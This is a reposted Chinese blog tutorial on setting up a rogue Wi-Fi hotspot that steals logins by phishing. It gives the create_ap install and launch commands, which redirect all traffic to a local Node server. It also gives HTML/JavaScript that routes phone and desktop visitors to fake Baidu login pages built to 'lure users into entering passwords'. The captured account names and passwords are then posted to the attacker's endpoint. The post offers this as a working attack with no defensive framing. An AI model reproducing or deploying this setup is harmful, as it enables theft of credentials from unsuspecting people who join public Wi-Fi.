文章出處

  前提準備:

  前提是當前的網卡必須支持AP(Acess Point)模式, 也可以使用外接的usb網卡

  nodeJS環境

  安裝create_AP

  使用create_AP創建熱點, 安裝方式為:

git clone https://github.com/oblique/create_ap
cd create_ap
make install

  安裝靜態服務器

  首先使用express在本地創建一個服務器, 指向baidu的登陸頁面:

  在本地寫好靜態界面, HTML主頁的代碼為, 判斷當前的瀏覽設備是手機還是電腦, 然后跳到不同的界面:

<html>
    <head></head>
    <body>
        <script>
            //if(location.href.indexOf("baidu")!=-1) {
                if (/(iPhone|iPad|iPod|iOS)/i.test(navigator.userAgent)) {
                    
                    location.href = "wap-baidu.html";
                } else if (/(Android)/i.test(navigator.userAgent)) {
                    location.href = "wap-baidu.html";
                }else{
                    location.href= "www-baidu.html";
                }
            //}
        </script>
    </body>
</html>

 

  用nodeJS搭建一個服務器, 正常瀏覽的時候首頁如下圖, 誘導用戶輸入密碼:

  創建熱點

  在命令行執行, -n和--redirect-to-localhost是指, 把所有的鏈接全部重定向到我的本地服務器, wlx001d0f04f093為我的外接USB網卡, fish為wifi的名字(SSID)

sudo create_ap -n --redirect-to-localhost --no-virt wlx001d0f04f093   fish

  只要用戶連接上了我們的wifi, 只要他瀏覽網頁, 都會重定向到baidu的登陸界面, 當用戶點擊登陸的時候, 把密碼和帳號post到nodeJS提供的接口即可;

  參考

  create_ap創建熱點 : https://github.com/oblique/create_ap

  bettercap : https://www.bettercap.org/

作者: NONO
出處:http://www.cnblogs.com/diligenceday/
企業網站:http://www.idrwl.com/ 廈門點燃未來網絡科技
開源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 

廈門點燃未來網絡科技有限公司, 是廈門最好的微信應用, 小程序, 微信網站, 公眾號開發公司


文章列表


不含病毒。www.avast.com
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 大師兄 的頭像
    大師兄

    IT工程師數位筆記本

    大師兄 發表在 痞客邦 留言(0) 人氣()